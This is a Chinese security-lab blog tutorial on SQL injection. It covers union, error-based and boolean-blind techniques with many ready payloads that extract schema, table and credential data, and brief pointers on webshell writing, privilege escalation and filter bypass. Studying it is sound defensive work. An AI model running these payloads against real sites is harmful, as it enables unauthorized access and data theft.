带你了解SQL注入基础

admin 2020年9月13日19:30:50评论312 views字数 6521阅读21分44秒阅读模式
sql信息安全方面一个非常重要的领域,为了学好它,还是先来简单了解下浏览器工作原理和sql注入原理吧


01
web浏览器相关工作原理


(图片比文字能更好的帮助理解,下图)


带你了解SQL注入基础


02
sql注入原理




将恶意的SQL代码插入到用户的输入参数的攻击,攻击者发现开发者编程过程中的漏洞,构造SQL语句,用户直接对数据库系统的内容进行直接检索或修改


看完原理是不是感觉看不懂呢?学完这篇推文,相信你一定能对sql注入有所了解



sql相关函数及运算符


带你了解SQL注入基础带你了解SQL注入基础

注:xpath相关教程(w3cschool)

https://dev.mysql.com/doc/refman/5.7/en/dynindex-function.html

(点击上方链接,了解更多)

比较运算符

· is null()/is not null()

· between and

· in / not in

· like/not like

· regexp

逻辑运算符

· and   &&

· or     ||


03
sql注入流程


sql查询语句的编写以及注释符

select * from where id=1;

select * from where id='1';

select * from where id="1";

select * from where id=1 # and 1=2;

select * from where id=1 -- and 1=2;

相关操作语句

带你了解SQL注入基础带你了解SQL注入基础带你了解SQL注入基础带你了解SQL注入基础带你了解SQL注入基础带你了解SQL注入基础带你了解SQL注入基础带你了解SQL注入基础



以上为sql注入的一些基础知识,如果都能理解,那么恭喜你打开了sql注入的大门
既然基础都了解的差不多了,那我们就向更难更深处进发吧!


//////////

带你了解SQL注入基础
接下来讲解一些sql注入中的各种问题

带你了解SQL注入基础

01
union查询注入

(该注入不能在update,insert,limit等之后)


1.确定字段数

使用order by来确定列数,使用二分法可以快速判断


2.确定数据库名


select * from test where id=-1 union select 1,2,3,(database());


select * from test where id=-1 union select 1,2,3,(select group_concat(schema_name) from information_schema.schemata);


id=1' union select 1,database()--+


3.确定表名


select * from test where id=-1 union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema='test');

select first_name,last_name from users where user_id=1 union select 1,table_name from information_schema.tables where table_schema='dvwa';


id=1' union select 1,table_name from information_schema.tables where table_schema='dvwa'--+


:table_scheme的参数可以使用十六进制,不需加引号,或者使用table_schema=database();


4.确定字段名


select * from test where id=-1 union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_name='test');


id=1' union select 1,column_name from information_schema.columns where table_name='users'--+


5.确定数据


select * from test where id=-1 union select 1,2,3,title from test;


select * from test where id=-1 union select 1,2,3,concat_ws('~',title,author) from test;select * from test where id=-1 union select 1,2,3,concat_ws('~',title,author) from test limit 0,1;


id=1' union select user,password from users--+




02
报错注入原理

返回长度有限


1.概念:让错误信息中返回数据库中的内容,来实现SQL注入,即想办法构造语句,让错误信息中可以显示数据库内容


2.凡是可以让错误信息显示的函数(语句),都能实现报错注入

· floor():group by 对 rand()函数进行操作时产生错误


select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2));


查询表名


select count(*) from information_schema.tables group by concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)*2));


查询列名


select count(*) from information_schema.tables group by concat(0x7e,(select column_name from information_schema.columns where table_name='test' limit 0,1),0x7e,floor(rand(0)*2));


extractvalue():xpath语法错误产生报错


select extractvalue(1,concat(0x7e,(select user()),0x7e));


注:使用时一定要以一个非法的xpath值开头


select extractvalue(1,concat('!',(select user())));


updatexml():xpath语法错误产生报错


select updatexml(1,concat(0x7e,(select user()),0x7e),1);


查询表名


select updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1);


查询列名


select updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='test' limit 0,1),0x7e),1);


查询数据


select updatexml(1,concat(0x7e,(select concat(title,0x7e,author) from test limit 0,1),0x7e),1);


当需要信息比较长,可以使用substr()函数截取长度,多次截取得到结果



03
布尔盲注


布尔盲注就是存在注入的页面没有回显,没办法用select 1,2,3....#来判断页面的回显,只能用对和错页面显示结果不同一点一点注入


函数

作用

length(str)

返回指定字符串的长度

substr(str,pos,len)/substring(str,pos,len)

返回截取的子字符串。

ascii(str)

返回指定字符串最左侧字符的ascii值。


步骤:

1、获得数据库名每个字符的ASCII值,将其转化为字符

url加:and ascii(substr(databse(),1,1))>97#

用二分法会快一些,当然,也可以先用length判断一下长度再去获得ASCII值,都差不多


2、然后获得表的数量

url加:and (select count(table_name) from information_schema.tables where table_schema=database()) = 5 #


3、根据表的数量,逐个猜解每个表名

url加:and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #


这里limit几看你有几个表了,一个一个猜,


4、猜每个表的字段名

url后加:and ascii(substr((select column_name from information_schema.columns where table_name='获取到的表名' and table_schema='获取到的数据库名' limit 0,1),1,1))>97#


limit也是老样子


5、猜字段值

url后加:and ascii(substr((select concat(字段名) from 数据库名.表名limit 0,1),1,1))>97#


这样一点一点来,就可以得到字段值了




04
报错注入

前提条件:

一般是在页面没有显示位、但用echo mysql_error();输出了错误信息的时候使用,它的特点是注入速度快,但是语句较复杂,不能用group_concat(),只能用limit依次猜解



updatexml

updatexml(xml_document,xpath_string,new_value);



第一个参数:xml_documnet是String格式,为XML文档对象的名称,文中为Doc

第二个参数:xpath_string(xpath格式的字符串),如果不了解xpath语法,可以在网上查找教程

第三个参数:new_value,string格式,替换查找到的符合条件的数据



然后咱们再看看语句:

http://www.XXXIII.com/a.php?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

concat(str1,str2,...)



返回结果为连接参数产生的字符串。如有任何一个参数为null,则返回值为null



通过查询@@version,返回版本。然后concat将其字符串化。因为updatexml第二个参数需要xpath格式的字符串,所以不符合要求,然后报错



错误大概会是:

ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’


floor

利用方式:

count(*)、rand()、group by三者缺一不可报错注入用一个公式,只要套用公式即可,公式如下:?id=2' and (select 1 from (select count(*),concat( floor(rand(0)*2),(select (select (爆错语句)) from information_schema.tables limit 0,1))x from information_schema.tables group by x )a)--+



公式解析:

floor()是取整数rand()在0和1之间产生一个随机数rand(0)*2将取0到2的随机数floor(rand()*2)有两条记录就会报错


floor(rand(0)*2)记录需为3条以上,且3条以上必报错,返回的值是有规律的count(*)是用来统计结果的,相当于刷新一次结果group by在对数据进行分组时会先看看虚拟表里有没有这个值,没有的话就插入存在的话count(*)加1在使用group by时floor(rand(0)*2)会被执行一次,若虚表不存在记录,插入虚表时会再执行一次



如下:

id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a)


extractvalue

    id = 1 and (extractvalue(1, concat(0x5c,(select user()))))


exp

id =1 and EXP(~(SELECT * from(select user())a))



其他

GeometryCollection()id = 1 AND GeometryCollection((select * from (select * from(select user())a)b))polygon()id =1 AND polygon((select * from(select * from(select user())a)b))multipoint()id = 1 AND multipoint((select * from(select * from(select user())a)b))multilinestring()id = 1 AND multilinestring((select * from(select * from(select user())a)b))linestring()id = 1 AND LINESTRING((select * from(select * from(select user())a)b))multipolygon()id =1 AND multipolygon((select * from(select * from(select user())a)b))


https://zhuanlan.zhihu.com/p/85217769

https://www.freebuf.com/articles/web/36683.html

https://www.jianshu.com/p/6e83fa692b51

绕过:https://www.sharewaf.com/bypass_waf_sql.html



05
SQL注入分类

依据注入点类型分类

· 数字型注入

· 字符串型注入

· 搜索型注入

依据提交方式分类

· GET注入

· POST注入

· COOKIE注入

· HTTP头注入(XFF注入--x-forwarded、UAF注入--UserAgentREFERER注入、cookie注入)

依据获取信息的方式分类

· 基于布尔的盲注

· 基于时间的盲注

· 基于报错的注入

· 联合查询注入

· 堆查询注入(可同时执行多条语句)





答疑解惑




带你了解SQL注入基础
mysql的网站注入,5.0以上和5.0以下有什么区别?
5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名
带你了解SQL注入基础
带你了解SQL注入基础
mysql注入点,用工具对目标站直接写入一句话,需要哪些条件?
root权限以及网站的绝对路径
带你了解SQL注入基础
带你了解SQL注入基础

为何一个mysql数据库的站,只有一个80端口开放?
站库分离,3306端口不对外开放
带你了解SQL注入基础
带你了解SQL注入基础
3389无法连接的几种情况

1.没开放3389

2..端口端口被修改

3.防护拦截

4.处于内网(需进行端口转发)

带你了解SQL注入基础


带你了解SQL注入基础
如何突破注入时字符被转义?
hex编码绕过
带你了解SQL注入基础

带你了解SQL注入基础
mysql如何提权
udf,mof
带你了解SQL注入基础


带你了解SQL注入基础
access 扫出后缀为asp的数据库文件,访问乱码。如何实现到本地利用?
 迅雷下载,直接改后缀为.mdb
带你了解SQL注入基础
带你了解SQL注入基础
提权时选择可读写目录,为何尽量不用带空格的目录?
因为exp执行多半需要空格界定参数
带你了解SQL注入基础


好啦,以上就是本期推文的全部内容,希望对你有所帮助哦

带你了解SQL注入基础


湖南农业大学蝰蛇信息安全实验室

文案|周dragon

图文编辑|Louise123

审核|小贾涛涛

指导老师|Hard Target




  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年9月13日19:30:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   带你了解SQL注入基础http://cn-sec.com/archives/130974.html

发表评论

匿名网友 填写信息